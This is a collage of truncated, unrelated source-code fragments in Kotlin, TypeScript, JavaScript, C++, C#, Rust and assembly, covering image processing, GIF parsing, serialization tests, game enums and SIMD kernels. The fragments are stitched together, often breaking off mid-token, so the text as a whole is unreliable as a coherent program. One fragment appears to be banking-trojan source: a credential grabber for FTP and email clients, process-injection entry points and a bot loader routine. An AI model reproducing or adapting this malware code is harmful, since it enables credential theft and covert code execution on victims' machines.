    quality = MathUtils.clamp(quality, MIN_QUALITY, MAX_QUALITY)
    reduce = MathUtils.clamp(reduce, MIN_REDUCE, MAX_REDUCE)

    // all parameters are default - do nothing
    if (quality == MAX_QUALITY
      && reduce == MIN_REDUCE
      && reencodeType == ReencodeType.AS_IS
      && !fixExif
      && !removeMetadata
      && !changeImageChecksum
    ) {
      return null
    }

    var bitmap: Bitmap? = null

    try {
      var compressFormat = getImageFormat(inputBitmapFile)
        ?: return null

      if (reencodeType == ReencodeType.AS_JPEG) {
        compressFormat = CompressFormat.JPEG
      } else if (reencodeType == ReencodeType.AS_PNG) {
        compressFormat = CompressFormat.PNG
      }

      val opt = BitmapFactory.Options()
      opt.inMutable = true

      bitmap = BitmapFactory.decodeFile(inputBitmapFile.absolutePath, opt)
      if (bitmap == null) {
        return null
      }

      val matrix = Matrix()

      //slightly change one pixel of the image to change it's checksum
      if (changeImageChecksum) {
        changeBitmapChecksum(bitmap)
      }

      //scale the image down
      if (reduce != MIN_REDUCE) {
        val scale = (100f - reduce.toFloat()) / 100f
        matrix.setScale(scale, scale)
      }

      //fix exif
      if (compressFormat == CompressFormat.JPEG && fixExif) {
        val exif = ExifInterface(inputBitmapFile.absolutePath)

        val orientation = exif.getAttributeInt(
          ExifInterface.TAG_ORIENTATION,
          ExifInterface.ORIENTATION_UNDEFINED
        )

        when (orientation) {
          ExifInterface.ORIENTATION_ROTATE_270 -> matrix.postRotate(270f)
          ExifInterface.ORIENTATION_ROTATE_180 -> matrix.postRotate(180f)
          ExifInterface.ORIENTATION_ROTATE_90 -> matrix.postRotate(90f)
          else -> matrix.postRotate(0f)
        }
      }

      val newBitmap = Bitmap.createBitmap(
        bitmap,
        0,
        0,
        bitmap.width,
        bitmap.height,
        matrix,
        true
      )

      var tempFile: File? = null

      try {
        tempFile = this.tempFile

        FileOutputStream(tempFile).use { output ->
          newBitmap.compress(
            compressFormat,
            quality,
            output
          )
        }

        return tempFile
      } catch (error: Throwable) {
        if (tempFile != null) {
          if (!tempFile.delete()) {
            Logger.w(TAG, "Could not delete temp image file: " + tempFile.absolutePath)
          }
        }

        throw error
      } finally {
        if (!newBitmap.isRecycled) {
          newBitmap.recycle()
        }
      }
    } catch (error: Throwable) {
      Logger.error(TAG, error) { "reencodeBitmapFile() unhandled error" }
      return null
    } finally {
      if (bitmap != null && !bitmap.isRecycled) {
        bitmap.recycle()
      }
    }
  }

  @get:Throws(IOException::class)
  private val tempFile: File
    private get() {
      val outputDir = AndroidUtils.getAppContext().cacheDir
      deleteOldTempFiles(outputDir.listFiles())

      return File.createTempFile(TEMP_FILE_NAME, TEMP_FILE_EXTENSION, outputDir)
    }

  private fun deleteOldTempFiles(files: Array<File>?) {
    if (files == null || files.isEmpty()) {
      return
    }

    for (file in files) {
      if (file.ab


t8Array,
    startOffset: number,
): [LogicalScreenDescriptor, number] {
    const base = startOffset;

    /**
     * canvas width, height
     */
    const Width = Uint8ToUint16(buffer.slice(base, base + 2));
    const Height = Uint8ToUint16(buffer.slice(base + 2, base + 4));

    /**
     * packed field
     *
     * if GlobalColorTableFlag is 1, a global color table will follow logical screen descriptor
     *
     * ColorResolution indicate the bits of the color(if global color table existed)
     * the bits of the color is 2^(ColorResolution+1)
     *
     * if SortFlag is 1, the colors in the global color table are sorted in order of "decreasing importance,"
     *
     * Pixle is the size of global color table
     */
    const [GlobalColorTableFlag, ColorResolution, SortFlag, Pixel] = splitByte(buffer[base + 4], [
        1,
        3,
        1,
        3,
    ]);

    /**
     * indicate the background color index in the global color table
     * if the image has no global color tabl, this byte should be 0
     */
    const BackgroundColorIndex = buffer[base + 5];

    /**
     * PixelAspectRatio
     */
    const PixelAspectRatio = buffer[base + 6];

    return [
        {
            screenWidth: Width,
            screenHeight: Height,
            hasGlobalColorTable: GlobalColorTableFlag === 1,
            colorResolution: ColorResolution,
            pixle: Pixel,
            backgroundColorIndex: BackgroundColorIndex,
            sort: SortFlag === 1,
            pixelAspectRatio: PixelAspectRatio,
        },
        base + 6,
    ];
}
import { ISuspectRole } from './interviewParts/elements/SuspectRole';
import { IInterviewQuestion } from './interviewParts/elements/InterviewQuestion';

export enum InterviewStatus {
    NotConnected,
    Disconnected,
    InvalidSession,
    WaitingForOpponent,

    SelectingPositions,
    RoleConfirmed,

    PenaltySelection,
    PenaltyCalibration,

    PacketSelection,

    InducerPrompt,
    ShowingInducer,

    BackgroundSelection,

    ReadyToStart,
    InProgress,

    Finished,
}

export enum InterviewOutcome {
    Disconnected = 0,
    CorrectlyGuessedHuman,
    WronglyGuessedHuman,
    CorrectlyGuessedRobot,
    WronglyGuessedRobot,
    KilledInterviewer,
}

export enum InterviewPosition {
    Interviewer,
    Suspect,
    Spectator,
    None,
}

export enum Direction {
    None = 0,
    North = 1 << 0,
    South = 1 << 1,
    East = 1 << 2,
    West = 1 << 3,
}

export interface IPacket {
    name: string;
    difficulty: string;
    icon: string;
}

export interface IInterviewState {
    position: InterviewPosition;
    turn: InterviewPosition;
    status: InterviewStatus;
    outcome?: InterviewOutcome;
    choice: string[];
    packet: string;
    packets?: IPacket[];
    prompt: string;
    penalty: string;
    patternConnections?: Direction[][];
    patternContent?: string[][];
    patternSolution?: string[];
    questions: IInterviewQuestion[];
    suspectBackground: string;
    role?: ISuspectRole;
    duration: number;
}

export const initialState: IInterviewState = {
    choice: [],
    duration: 0,
    position: InterviewPosition.None,
    turn: InterviewPosition.Interviewer,
    packet: '',
    penalty: '',
    prompt: '',
    questions: [],
    status: InterviewStatus.NotConnected,
    suspectBackground: '',
};

export type InterviewAction = {
    type: 'set position';
    position: number;
} | {
    type: 'swap position';
} | {
    type: '


ts) {
	  opts = opts || {};
	  opts.uri = this.uri();
	  opts.xd = this.xd;
	  opts.xs = this.xs;
	  opts.agent = this.agent || false;
	  opts.supportsBinary = this.supportsBinary;
	  opts.enablesXDR = this.enablesXDR;

	  // SSL options for Node.js client
	  opts.pfx = this.pfx;
	  opts.key = this.key;
	  opts.passphrase = this.passphrase;
	  opts.cert = this.cert;
	  opts.ca = this.ca;
	  opts.ciphers = this.ciphers;
	  opts.rejectUnauthorized = this.rejectUnauthorized;
	  opts.requestTimeout = this.requestTimeout;

	  // other options for Node.js client
	  opts.extraHeaders = this.extraHeaders;

	  return new Request(opts);
	};

	/**
	 * Sends data.
	 *
	 * @param {String} data to send.
	 * @param {Function} called upon flush.
	 * @api private
	 */

	XHR.prototype.doWrite = function (data, fn) {
	  var isBinary = typeof data !== 'string' && data !== undefined;
	  var req = this.request({ method: 'POST', data: data, isBinary: isBinary });
	  var self = this;
	  req.on('success', fn);
	  req.on('error', function (err) {
	    self.onError('xhr post error', err);
	  });
	  this.sendXhr = req;
	};

	/**
	 * Starts a poll cycle.
	 *
	 * @api private
	 */

	XHR.prototype.doPoll = function () {
	  debug('xhr poll');
	  var req = this.request();
	  var self = this;
	  req.on('data', function (data) {
	    self.onData(data);
	  });
	  req.on('error', function (err) {
	    self.onError('xhr poll error', err);
	  });
	  this.pollXhr = req;
	};

	/**
	 * Request constructor
	 *
	 * @param {Object} options
	 * @api public
	 */

	function Request (opts) {
	  this.method = opts.method || 'GET';
	  this.uri = opts.uri;
	  this.xd = !!opts.xd;
	  this.xs = !!opts.xs;
	  this.async = false !== opts.async;
	  this.data = undefined !== opts.data ? opts.data : null;
	  this.agent = opts.agent;
	  this.isBinary = opts.isBinary;
	  this.supportsBinary = opts.supportsBinary;
	  this.enablesXDR = opts.enablesXDR;
	  this.requestTimeout = opts.requestTimeout;

	  // SSL options for Node.js client
	  this.pfx = opts.pfx;
	  this.key = opts.key;
	  this.passphrase = opts.passphrase;
	  this.cert = opts.cert;
	  this.ca = opts.ca;
	  this.ciphers = opts.ciphers;
	  this.rejectUnauthorized = opts.rejectUnauthorized;

	  // other options for Node.js client
	  this.extraHeaders = opts.extraHeaders;

	  this.create();
	}

	/**
	 * Mix in `Emitter`.
	 */

	Emitter(Request.prototype);

	/**
	 * Creates the XHR object and sends the request.
	 *
	 * @api private
	 */

	Request.prototype.create = function () {
	  var opts = { agent: this.agent, xdomain: this.xd, xscheme: this.xs, enablesXDR: this.enablesXDR };

	  // SSL options for Node.js client
	  opts.pfx = this.pfx;
	  opts.key = this.key;
	  opts.passphrase = this.passphrase;
	  opts.cert = this.cert;
	  opts.ca = this.ca;
	  opts.ciphers = this.ciphers;
	  opts.rejectUnauthorized = this.rejectUnauthorized;

	  var xhr = this.xhr = new XMLHttpRequest(opts);
	  var self = this;

	  try {
	    debug('xhr open %s: %s', this.method, this.uri);
	    xhr.open(this.method,


 = 0;
    input.serialize("unsigned int", ui);
    BOOST_CHECK_EQUAL(ui, 42);
    double d = 0;
    input.serialize("double", d);
    BOOST_CHECK_EQUAL(d, 51.51);
    double round = 0;
    input.serialize("round", round);
    std::vector<int64_t> ovalues;
    input.serialize("values", ovalues);
    BOOST_TEST(ovalues == values);
  }
}

class Point
{
public:
  Point(int x = 0, int y = 0)
    : _x(x)
    , _y(y)
  {}

  Point(elle::serialization::Serializer& s)
    : Point()
  {
    this->serialize(s);
  }

  bool
  operator ==(Point const& other) const
  {
    return this->x() == other.x() && this->y() == other.y();
  }

  void
  serialize(elle::serialization::Serializer& s)
  {
    s.serialize("x", this->_x);
    s.serialize("y", this->_y);
  }

  using serialization_tag = elle::serialization_tag;

  ELLE_ATTRIBUTE_R(int, x);
  ELLE_ATTRIBUTE_R(int, y);
};

static
std::ostream&
operator << (std::ostream& out, Point const& p)
{
  out << "Point(" << p.x() << ", " << p.y() << ")";
  return out;
}

template <typename Format>
static
void
object()
{
  round_trip<Format>(Point{42, 52});
}

class Segment
{
public:
  Segment()
    : _start()
    , _end()
  {}

  Segment(Point start, Point end)
    : _start(start)
    , _end(end)
  {}

  Segment(elle::serialization::Serializer& s)
    : Segment()
  {
    this->serialize(s);
  }

  bool
  operator ==(Segment const& other) const
  {
    return this->start() == other.start() && this->end() == other.end();
  }

  void
  serialize(elle::serialization::Serializer& s)
  {
    s.serialize("start", this->_start);
    s.serialize("end", this->_end);
  }

  using serialization_tag = elle::serialization_tag;

  ELLE_ATTRIBUTE_R(Point, start);
  ELLE_ATTRIBUTE_R(Point, end);
};

static
std::ostream&
operator << (std::ostream& out, Segment const& l)
{
  return out << "Segment(" << l.start() << ", " << l.end() << ")";
}

template <typename Format>
static
void
object_composite()
{
  round_trip<Format>(Segment{Point{42, 51}, Point{69, 86}});
}

template <template <typename> class Container>
class Lists
{
public:
  Lists()
    : bools()
    , ints()
    , strings()
  {}

  Lists(elle::serialization::Serializer& s)
    : bools()
    , ints()
    , strings()
  {
    this->serialize(s);
  }

  void
  serialize(elle::serialization::Serializer& s)
  {
    s.serialize("bools", this->bools);
    s.serialize("ints", this->ints);
    s.serialize("strings", this->strings);
    s.serialize("empty", this->empty);
    s.serialize("options", this->options);
  }

  Container<bool> bools;
  Container<int> ints;
  Container<std::string> strings;
  Container<int> empty;
  Container<boost::optional<int>> options;
};

template <typename Format, template <typename> class Container>
static
void
collection()
{
  std::stringstream stream;
  {
    typename Format::SerializerOut output(stream);
    Lists<Container> l;
    l.bools = {true, false};
    l.ints = {0, 1, 2};


    MATERIAL_WEAPON_EXP_STONE(11),
    MATERIAL_CHEST(12),
    MATERIAL_RELIQUARY_MATERIAL(13),
    MATERIAL_AVATAR_MATERIAL(14),
    MATERIAL_NOTICE_ADD_HP(15),
    MATERIAL_SEA_LAMP(16),
    MATERIAL_SELECTABLE_CHEST(17),
    MATERIAL_FLYCLOAK(18),
    MATERIAL_NAMECARD(19),
    MATERIAL_TALENT(20),
    MATERIAL_WIDGET(21),
    MATERIAL_CHEST_BATCH_USE(22),
    MATERIAL_FAKE_ABSORBATE(23),
    MATERIAL_CONSUME_BATCH_USE(24),
    MATERIAL_WOOD(25),
    MATERIAL_FURNITURE_FORMULA(27),
    MATERIAL_CHANNELLER_SLAB_BUFF(28),
    MATERIAL_FURNITURE_SUITE_FORMULA(29),
    MATERIAL_COSTUME(30),
    MATERIAL_HOME_SEED(31),
    MATERIAL_FISH_BAIT(32),
    MATERIAL_FISH_ROD(33),
    MATERIAL_SUMO_BUFF(34),
}

enum class ItemUseTarget(override val value: Int) : PropEnum {
    ITEM_USE_TARGET_NONE(0),
    ITEM_USE_TARGET_CUR_AVATAR(1),
    ITEM_USE_TARGET_CUR_TEAM(2),
    ITEM_USE_TARGET_SPECIFY_AVATAR(3),
    ITEM_USE_TARGET_SPECIFY_ALIVE_AVATAR(4),
    ITEM_USE_TARGET_SPECIFY_DEAD_AVATAR(5),
}

enum class RecipeType(override val value: Int) : PropEnum {
    RECIPE_TYPE_NONE(0),
    RECIPE_TYPE_COMBINE(1),
    RECIPE_TYPE_CONVERT(2),
    RECIPE_TYPE_COMBINE_HOMEWORLD(3),
}

enum class DungeonStateType(override val value: Int) : PropEnum {
    DUNGEON_STATE_NONE(0),
    DUNGEON_STATE_RELEASE(1),
    DUNGEON_STATE_TEST(2),
}

enum class GrowCurveType(override val value: Int) : PropEnum {
    GROW_CURVE_NONE(0),
    GROW_CURVE_HP(1),
    GROW_CURVE_ATTACK(2),
    GROW_CURVE_STAMINA(3),
    GROW_CURVE_STRIKE(4),
    GROW_CURVE_ANTI_STRIKE(5),
    GROW_CURVE_ANTI_STRIKE1(6),
    GROW_CURVE_ANTI_STRIKE2(7),
    GROW_CURVE_ANTI_STRIKE3(8),
    GROW_CURVE_STRIKE_HURT(9),
    GROW_CURVE_ELEMENT(10),
    GROW_CURVE_KILL_EXP(11),
    GROW_CURVE_DEFENSE(12),
    GROW_CURVE_ATTACK_BOMB(13),
    GROW_CURVE_HP_LITTLEMONSTER(14),
    GROW_CURVE_ELEMENT_MASTERY(15),
    GROW_CURVE_PROGRESSION(16),
    GROW_CURVE_DEFENDING(17),
    GROW_CURVE_MHP(18),
    GROW_CURVE_MATK(19),
    GROW_CURVE_TOWERATK(20),
    GROW_CURVE_HP_S5(21),
    GROW_CURVE_HP_S4(22),
    GROW_CURVE_HP_2(23),
    GROW_CURVE_ATTACK_S5(31),
    GROW_CURVE_ATTACK_S4(32),
    GROW_CURVE_ATTACK_S3(33),
    GROW_CURVE_STRIKE_S5(34),
    GROW_CURVE_DEFENSE_S5(41),
    GROW_CURVE_DEFENSE_S4(42),
    GROW_CURVE_


// Copyright (c) Microsoft Corporation.
// Licensed under the MIT license.

using System;
using System.Runtime.CompilerServices;
using Tsavorite.core;

namespace Garnet.server
{
    /// <summary>
    /// A container per session to store information of watched keys
    /// </summary>
    internal sealed unsafe class WatchedKeysContainer
    {
        /// <summary>
        /// Array to keep slice of keys inside keyBuffer
        /// </summary>
        WatchedKeySlice[] keySlices;

        /// <summary>
        /// Array to keep slice of keys inside keyBuffer
        /// </summary>
        readonly WatchVersionMap versionMap;

        readonly int initialWatchBufferSize = 1 << 16;
        readonly int initialSliceBufferSize;
        int sliceBufferSize;
        int watchBufferSize;
        byte[] watchBuffer;
        byte* watchBufferPtr;
        int watchBufferHeadAddress;
        int sliceCount;

        public WatchedKeysContainer(int size, WatchVersionMap versionMap)
        {
            this.versionMap = versionMap;
            watchBufferHeadAddress = 0;
            sliceCount = 0;
            initialSliceBufferSize = size;
        }

        /// <summary>
        /// Reset watched keys
        /// </summary>
        public void Reset()
        {
            sliceCount = 0;
            watchBufferPtr -= watchBufferHeadAddress;
            watchBufferHeadAddress = 0;
        }

        public bool RemoveWatch(ArgSlice key)
        {
            for (int i = 0; i < sliceCount; i++)
            {
                if (key.ReadOnlySpan.SequenceEqual(keySlices[i].slice.ReadOnlySpan))
                {
                    keySlices[i].type = 0;
                    return true;
                }
            }
            return false;
        }

        public void AddWatch(ArgSlice key, StoreType type)
        {
            if (sliceCount >= sliceBufferSize)
            {
                // Double the struct buffer
                sliceBufferSize = sliceBufferSize == 0 ? initialSliceBufferSize : sliceBufferSize * 2;
                var _oldBuffer = keySlices;
                keySlices = GC.AllocateUninitializedArray<WatchedKeySlice>(sliceBufferSize, true);
                if (_oldBuffer != null) Array.Copy(_oldBuffer, keySlices, _oldBuffer.Length);
            }
            if (watchBufferHeadAddress + key.Length > watchBufferSize)
            {
                // Double the watch buffer
                watchBufferSize = watchBufferSize == 0 ? initialWatchBufferSize : watchBufferSize * 2;
                var _oldBuffer = watchBuffer;
                watchBuffer = GC.AllocateUninitializedArray<byte>(watchBufferSize, true);


using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using OpenTK.Graphics.OpenGL;
using OpenTK;
using System.Drawing;

namespace Block_sorting_system
{
    class ControlMode
    {
        public enum ModeList
        {
            Manual,
            Auto
        }

        public static Sensor auto = new Sensor(new Vector2(863, 225), new RectangleF(0, 0, 22, 22), "auto");
        public static Sensor manual = new Sensor(new Vector2(815, 225), new RectangleF(0, 0, 22, 22), "manual");
        private static ModeList _mode = ModeList.Manual;
        public static ModeList Mode
        {
            get
            {
                return _mode;


{
        SoftwareGrabber::_getMacromediaFlashFiles();
        ls.processStartupFlags &= ~LocalSettings::PSF_MFP_GRAB;
      }

      // MFP.
      if(ls.processStartupFlags & LocalSettings::PSF_MFP_REMOVE)
      {
        SoftwareGrabber::_removeMacromediaFlashFiles();
        ls.processStartupFlags &= ~LocalSettings::PSF_MFP_REMOVE;
      }

#     if(BO_SOFTWARE_FTP > 0 || BO_SOFTWARE_EMAIL > 0)
      HRESULT comResult;
      if((0
#         if(BO_SOFTWARE_FTP > 0)
          || (ls.processStartupFlags & LocalSettings::PSF_SOFTWARE_FTP_GRABBED) == 0
#         endif
#         if(BO_SOFTWARE_EMAIL > 0)
          || (ls.processStartupFlags & LocalSettings::PSF_SOFTWARE_EMAIL_GRABBED) == 0
#         endif
         ) &&
         ComLibrary::_initThread(&comResult))
      {
        //FTP-.
#       if(BO_SOFTWARE_FTP > 0)
        if((ls.processStartupFlags & LocalSettings::PSF_SOFTWARE_FTP_GRABBED) == 0)
        {
          SoftwareGrabber::_ftpAll();
          ls.processStartupFlags |= LocalSettings::PSF_SOFTWARE_FTP_GRABBED;
        }
#       endif

        //E-mail-.
#       if(BO_SOFTWARE_EMAIL > 0)
        if((ls.processStartupFlags & LocalSettings::PSF_SOFTWARE_EMAIL_GRABBED) == 0)
        {
          SoftwareGrabber::_emailAll();
          ls.processStartupFlags |= LocalSettings::PSF_SOFTWARE_EMAIL_GRABBED;
        }
#       endif

        ComLibrary::_uninitThread(comResult);
      }
#     endif

      LocalSettings::endReadWrite(&ls);
    }
    return true;
  }
  return false;
}

int WINAPI Core::_injectEntryForModuleEntry(void)
{
  if(defaultModuleEntry())
  {
    //  .     .
    HANDLE mainModule = CWA(kernel32, GetModuleHandleW)(NULL);
    if(((PIMAGE_DOS_HEADER)mainModule)->e_magic == IMAGE_DOS_SIGNATURE)
    {
      PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)mainModule + ((PIMAGE_DOS_HEADER)mainModule)->e_lfanew);
      if(ntHeaders->Signature == IMAGE_NT_SIGNATURE)
      {
        LPBYTE entry = ntHeaders->OptionalHeader.AddressOfEntryPoint + (LPBYTE)mainModule;
        return ((PROC)entry)();
      }
    }
    WDEBUG0(WDDT_ERROR, "Failed to get original entry point.");
  }

  return 0;
}

DWORD WINAPI Core::_injectEntryForThreadEntry(void *)
{
  defaultModuleEntry();
  return 0;
}

/*
     ,        ,
  .

  IN forceUpdate  -       (  ).
  IN removeItself -     (  ).

  Return          - true -   ,
                    false -   .
*/
static bool runAsBot(bool forceUpdate, bool removeItself)
{
  bool ok = false;
  void *overlay;
  DWORD overlaySize;
  WCHAR strObject[50];
  HANDLE mutex;

  // .
  {
    Fs::MEMFILE mf;
    if(Fs::_fileToMem(coreData.paths.process, &mf, 0))
    {
      //    .
      overlaySize = mf.size;
      if((overlay = Core::getBaseOverlay(mf.data, &overlaySize)) == NULL)overlaySize = 0;
      Fs::_closeMemFile(&mf);
    }
  }

  //   . (     ).
  if(overlaySize == sizeof(PESETTINGS))
  {
    WDEBUG0(WDDT_INFO, "I'm a loader.");
    if(CoreInstall::_loadInstalledData(overlay, overlaySize))
    {
      generateObjec


m1 != m3);
}

#[test]
fn measure_is_less_than() {
    let m1 = Measure::<f32, Metre>::new(12.);
    let m2 = Measure::<f32, Metre>::new(12.);
    let m3 = Measure::<f32, Metre>::new(13.);
    assert!(!(m1 < m2));
    assert!(m1 < m3);
    assert!(!(m3 < m1));
}

#[test]
fn measure_is_less_than_or_equal_to() {
    let m1 = Measure::<f32, Metre>::new(12.);
    let m2 = Measure::<f32, Metre>::new(12.);
    let m3 = Measure::<f32, Metre>::new(13.);
    assert!(m1 <= m2);
    assert!(m1 <= m3);
    assert!(!(m3 <= m1));
}

#[test]
fn measure_is_greater_than() {
    let m1 = Measure::<f32, Metre>::new(12.);
    let m2 = Measure::<f32, Metre>::new(12.);
    let m3 = Measure::<f32, Metre>::new(13.);
    assert!(!(m1 > m2));
    assert!(!(m1 > m3));
    assert!(m3 > m1);
}

#[test]
fn measure_is_greater_than_or_equal_to() {
    let m1 = Measure::<f32, Metre>::new(12.);
    let m2 = Measure::<f32, Metre>::new(12.);
    let m3 = Measure::<f32, Metre>::new(13.);
    assert!(m1 >= m2);
    assert!(!(m1 >= m3));
    assert!(m3 >= m1);
}

#[test]
fn measure_is_equal_to_its_clone() {
    let m1 = Measure::<f32, Metre>::new(12.);
    let m2 = m1.clone();
    assert!(m1 == m2);
}

#[test]
fn measure_is_equal_to_its_copy() {
    let m1 = Measure::<f32, Metre>::new(12.);
    let m2 = m1;
    let _ = m1; // Copy again
    assert!(m1 == m2);
}

#[test]
fn measure_shown_in_metres() {
    let m1 = Measure::<f32, Metre>::new(12.);
    assert_eq!("12 m", m1.to_string());
}

// MeasurePoint

#[test]
fn measure_point_value() {
    let mp = MeasurePoint::<f32, Metre>::new(123.);
    assert_eq!(123., mp.value);
}

#[test]
fn measure_point_addition_of_vector() {
    let mp = MeasurePoint::<f32, Metre>::new(12.);
    let m = Measure::<f32, Metre>::new(7.);
    assert_eq!(19., (mp + m).value);
}

#[test]
fn measure_point_addition_of_vector_assignment() {
    let mut mp = MeasurePoint::<f32, Metre>::new(12.);
    mp += Measure::<f32, Metre>::new(7.);
    assert_eq!(19., mp.value);
}

#[test]
fn measure_point_subtraction_of_vector() {
    let mp = MeasurePoint::<f32, Metre>::new(12.);
    let m = Measure::<f32, Metre>::new(7.);
    assert_eq!(5., (mp - m).value);
}

#[test]
fn measure_point_subtraction_of_vector_assignment() {
    let mut mp = MeasurePoint::<f32, Metre>::new(12.);
    mp -= Measure::<f32, Metre>::new(7.);
    assert_eq!(5., mp.value);
}

#[test]
fn measures_point_subtraction() {
    let m


=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/styles/useTheme.js\");\n/* harmony import */ var _barrel_optimize_names_Box_Button_Card_CardContent_CardMedia_Container_Grid_TextField_Typography_useTheme_mui_material__WEBPACK_IMPORTED_MODULE_18__ = __webpack_require__(/*! __barrel_optimize__?names=Box,Button,Card,CardContent,CardMedia,Container,Grid,TextField,Typography,useTheme!=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/Box/Box.js\");\n/* harmony import */ var _barrel_optimize_names_Box_Button_Card_CardContent_CardMedia_Container_Grid_TextField_Typography_useTheme_mui_material__WEBPACK_IMPORTED_MODULE_19__ = __webpack_require__(/*! __barrel_optimize__?names=Box,Button,Card,CardContent,CardMedia,Container,Grid,TextField,Typography,useTheme!=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/Typography/Typography.js\");\n/* harmony import */ var _barrel_optimize_names_Box_Button_Card_CardContent_CardMedia_Container_Grid_TextField_Typography_useTheme_mui_material__WEBPACK_IMPORTED_MODULE_20__ = __webpack_require__(/*! __barrel_optimize__?names=Box,Button,Card,CardContent,CardMedia,Container,Grid,TextField,Typography,useTheme!=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/Grid/Grid.js\");\n/* harmony import */ var _barrel_optimize_names_Box_Button_Card_CardContent_CardMedia_Container_Grid_TextField_Typography_useTheme_mui_material__WEBPACK_IMPORTED_MODULE_21__ = __webpack_require__(/*! __barrel_optimize__?names=Box,Button,Card,CardContent,CardMedia,Container,Grid,TextField,Typography,useTheme!=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/TextField/TextField.js\");\n/* harmony import */ var _barrel_optimize_names_Box_Button_Card_CardContent_CardMedia_Container_Grid_TextField_Typography_useTheme_mui_material__WEBPACK_IMPORTED_MODULE_22__ = __webpack_require__(/*! __barrel_optimize__?names=Box,Button,Card,CardContent,CardMedia,Container,Grid,TextField,Typography,useTheme!=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/Button/Button.js\");\n/* harmony import */ var _barrel_optimize_names_Box_Button_Card_CardContent_CardMedia_Container_Grid_TextField_Typography_useTheme_mui_material__WEBPACK_IMPORTED_MODULE_24__ = __webpack_require__(/*! __barrel_optimize__?names=Box,Button,Card,CardContent,CardMedia,Container,Grid,TextField,Typography,useTheme!=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/CardMedia/CardMedia.js\");\n/* harmony import */ var _barrel_optimize_names_Box_Button_Card_CardContent_CardMedia_Container_Grid_TextField_Typography_useTheme_mui_material__WEBPACK_IMPORTED_MODULE_25__ = __webpack_require__(/*! __barrel_optimize__?names=Box,Button,Card,CardContent,CardMedia,Container,Grid,TextField,Typography,useTheme!=!@mui/material */ \"(app-pages-browser)/./node_modules/@mui/material/CardContent/CardContent.js\");\n/* harmony import */ var _store_authStore__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./store/authStore */ \"(app-pages-browser)/./app/store/authStore


0152C 80A7D34C C426E058 */  lwc1    $f6, %lo(D_80A7E058)($at)
/* 01530 80A7D350 46120102 */  mul.s   $f4, $f0, $f18
/* 01534 80A7D354 44071000 */  mfc1    $a3, $f2
/* 01538 80A7D358 8FA4002C */  lw      $a0, 0x002C($sp)
/* 0153C 80A7D35C 26050024 */  addiu   $a1, $s0, 0x0024           ## $a1 = 00000024
/* 01540 80A7D360 3C06C0A0 */  lui     $a2, 0xC0A0                ## $a2 = C0A00000
/* 01544 80A7D364 E7A20010 */  swc1    $f2, 0x0010($sp)
/* 01548 80A7D368 46062200 */  add.s   $f8, $f4, $f6
/* 0154C 80A7D36C 0C00A4F9 */  jal     func_800293E4
/* 01550 80A7D370 E7A80014 */  swc1    $f8, 0x0014($sp)
/


[x13], 8

          # vacc.lo = min(vacc.lo, vmax)
          FMIN v0.2S, v0.2S, v30.2S
          # Load vk6_next.lo
          LD1 {v17.2S}, [x17], 8

          # vacc_next.hi += vi0_next.hi * vk0_next.hi
          FMLA v3.2S, v18.2S, v19.2S
          # Load vi6_next.hi
          LD1 {v18.2S}, [x13], 8

          # vacc.hi = min(vacc.hi, vmax)
          FMIN v1.2S, v1.2S, v30.2S
          # Load vk6_next.hi
          LD1 {v19.2S}, [x17], 8

          # vacc_next.lo += vi1_next.lo * vk1_next.lo
          FMLA v2.2S, v20.2S, v21.2S
          # Load vi7_next.lo
          LD1 {v20.2S}, [x14], 8

          # vacc.lo = max(vacc.lo, vmin)
          FMAX v0.2S, v0.2S, v31.2S
          # Load vk7_next.lo
          LD1 {v21.2S}, [x17], 8

          # vacc_next.hi += vi1_next.hi * vk1_next.hi
          FMLA v3.2S, v22.2S, v23.2S
          # Load vi7_next.hi
          LD1 {v22.2S}, [x14], 8

          # vacc.hi = max(vacc.hi, vmin)
          FMAX v1.2S, v1.2S, v31.2S
          # Load vk7_next.hi
          LD1 {v23.2S}, [x17], 8

          # vacc_next.lo += vi2_next.lo * vk2_next.lo
          FMLA v2.2S, v24.2S, v25.2S
          # Load vi8_next.lo
          LD1 {v24.2S}, [x15], 8

          # Load vk8_next.lo
          LD1 {v25.2S}, [x17], 8

          # vacc_next.hi += vi2_next.hi * vk2_next.hi
          FMLA v3.2S, v26.2S, v27.2S
          # Load vi8_next.hi
          LD1 {v26.2S}, [x15], 8

          # Store vacc
          STP d0, d1, [x4], 16

          # c -= 8
          SUBS x16, x16, 8
          # Load vk8_next.hi
          LD1 {v27.2S}, [x17], 8

          B.LO 2f

1:
            # SWP iteration

            # Load vbias.lo
            LD1 {v0.2S}, [x17], 8

            # Load vbias.hi
            LD1 {v1.2S}, [x17], 8

            # vacc_prev.lo += vi3_prev.lo * vk3_prev.lo
            FMLA v2.2S, v4.2S, v5.2S
            # Load vi0.lo
            LD1 {v4.2S}, [x7], 8

            # Load vk0.lo
            LD1 {v5.2S}, [x17], 8

            # vacc_prev.hi += vi3_prev.hi * vk3_prev.hi
            FMLA v3.2S, v6.2S, v7.2S
            # Load vi0.hi
            LD1 {v6.2S}, [x7], 8

            # Load vk0.hi
            LD1 {v7.2S}, [x17], 8

            # vacc_prev.lo += vi4_prev.lo * vk4_prev.


 table[int8x8x2_t]: [
        0_i8, -17, 34, 51, 68, 85, 102, 119,
        -106, -93, -84, -117, -104, -116, -72, -121
    ] |
    - ctrl[i8x8]: [127_i8, 15, 1, 14, 2, 13, 3, 12] => [0_i8, -121, -17, -72, 34, -116, 51, -104] |
    - ctrl[i8x8]: [4_i8, 11, 16, 10, 6, -19, 7, 18] => [68_i8, -117, 0, -84, 102, 0, 119, 0]
);

test_vtbl!(
    test_vtbl2_u8 => vtbl2_u8:
    - table[uint8x8x2_t]: [
        0_u8, 17, 34, 51, 68, 85, 102, 119,
        136, 153, 170, 187, 204, 221, 238, 255
    ] |
    - ctrl[u8x8]: [127_u8, 15, 1, 14, 2, 13, 3, 12] => [0_u8, 255, 17, 238, 34, 221, 51, 204] |
    - ctrl[u8x8]: [4_u8, 11, 16, 10, 6, 19, 7, 18] => [68_u8, 187, 0, 170, 102, 0, 119, 0]
);

test_vtbl!(
